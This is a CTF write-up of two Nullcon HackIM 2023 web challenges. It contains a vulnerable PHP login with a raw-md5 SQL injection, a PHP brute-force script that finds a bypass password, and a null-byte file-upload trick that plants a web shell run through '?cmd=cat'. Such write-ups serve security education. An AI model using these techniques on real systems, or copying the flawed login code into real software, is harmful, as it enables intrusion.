Last week, I participated in the Nullcon HackIM CTF 2023 with 1/0
(formerly team zh3r0).
We managed to get the 2nd place and solve all challenges in the Web category :)
As supposed, I will be writing up the last two Web challenges, which were ranked as the hardest based on the points.
Loginbytepass [436 points]
Overview:
I found this challenge particularly fun considering it included a very fun PHP-specific trick which I always enjoy obviously.
The challenge description implies SQL injection is impossible here, but is it really? 👀
Solution:
- Making a POST request to
/?src
with any set of credentials we can get the challenge source code:
<?php
define("LOADFLAG", true);
error_reporting(0);
$db = mysqli_connect('db', 'user', 'password', 'db');
function list_users() {
global $db;
echo "<h1>Registered users:</h1>";
$res = mysqli_query($db, "SELECT * FROM users");
while ($user = $res->fetch_object()) {
echo "<p>";
echo "User: " . $user->username . " Password: " . $user->password;
echo "</p>";
}
}
function check_auth($username, $password) {
global $db;
$username = mysqli_real_escape_string($db, $username); // prevent SQL injection
$password = md5(md5($password, true), true);
$res = mysqli_query($db, "SELECT * FROM users WHERE username = '$username' AND password = '$password'");
if (isset($res) && $res->fetch_object()) {
return true;
}
return false;
}
if (check_auth($_POST['username'], $_POST['password'])) {
include_once "flag.php";
}
list_users();
if (isset($_GET['src'])) {
highlight_file(__FILE__);
}
// with <3 from @gehaxelt
?>
The check_auth()
call clearly shows we need to somehow pass a correct set of credentials, which will make the flag be shown.
While making a POST request to authenticate, list_users()
function gets called and reveals both user admin
and user flag
credentials - all that is left is to log in right?
Well, that obviously didn’t work, let’s take a look at how check_auth()
actually works..
The $username
seems to be sanitized correctly with mysqli_real_escape_string()
which should not have a bypass in this context, however $password
appears to have some weird double md5 encoding which then gets passed directly into the SQL query.
So can we get an SQL injection in this situation? Surprisingly, the answer is yes, however, with a limited number of bytes.
Let’s take a look at the PHP documentation for the md5()
function:
If the binary
argument is set to true
, which it is, PHP will return the encoded string in binary format instead, which is random, but should be able to get us somewhere.
This kind of implementation also breaks authentication, but it is a CTF challenge before all ¯_(ツ)_/¯:
The idea that instantly got on my mind was, what if we can manage to guess a password that will make md5()
return a single-quote ('
) which will escape the current SQL query context and allow us to do something like OR 1=1
to bypass authentication.
The only issue would be, the payload would have to be max 3-4 chars since brute-forcing this would be quite hefty.
Playing with it on a local DB, I realized the following:
So, using a payload like '+1;
(which is only 4 chars) we can make it return the password (with a warning because of the syntax error rest of the payload creates).
All that is left is to write a script that will bruteforce md5() calls until one returns raw bytes starting with either '+1;
or '-1;
(the rest won’t matter).
I came up with the following:
<?php
function checkHash($string) {
$hashed = md5(md5($string, true), true);
return strpos($hashed, "'+1;") === 0 || strpos($hashed, "'-1;") === 0 || strpos($hashed, "'='");
}
$characters = implode('', range(chr(33), chr(126)));
$maxLength = 10;
$found = false;
for ($length = 1; $length <= $maxLength; $length++) {
$combinations = pow(strlen($characters), $length);
for ($i = 0; $i < $combinations; $i++) {
$string = '';
$index = $i;
for ($j = 0; $j < $length; $j++) {
$string .= $characters[$index % strlen($characters)];
$index = (int)($index / strlen($characters));
}
echo $string . "\n";
if (checkHash($string)) {
echo "Found a match!\n";
echo "Input string: $string\n";
$found = true;
break 2;
}
}
}
if (!$found) {
echo "No match found.\n";
}
?>
However, as you can see in the script, I also added a check for '='
since my team-mate figured out that will work as well and is even shorter (only 3 characters) - this lowered the brute force time from 2 hours to a couple seconds for just a single byte difference
- Note:
'='
works since the query will evaluate to something like:
SELECT * FROM users WHERE username = 'flag' AND password = ''=''';
Which returns true obviously.
Within a couple of seconds of running the script, we get a valid match:
- All that is left is to log in with username
flag
and passwordSHW
and we successfully get the flag!
Flag:
- ENO{It’s_always_MD5-N3ever_Trust_1t!}
Magic Cars [408 points]
Overview:
This one is quite simple, just a trivial file upload bypass.
Solution:
The website provides an upload GIF file functionality:
It appears that there are the following 3 checks applied to every file to ensure it’s safely uploaded on the server:
-
Filename extension has to end with
.gif
-
Content-Type
header has to beimage/gif
-
File header signature has to include
GIF87a
All that we really need to do to bypass this is include a null byte before the extension, which makes the server omit the rest, i.e. exec.php%00.gif
:
Going to /images/exec.php
we can get our RCE.
After looking through the filesystem a bit, we got the flag via /images/exec.php?cmd=cat%20/var/www/html/flag.flag
Flag:
- ENO{4n_uplo4ded_f1l3_c4n_m4k3_wond3r5}
Hope you enjoyed this little CTF writeup! :)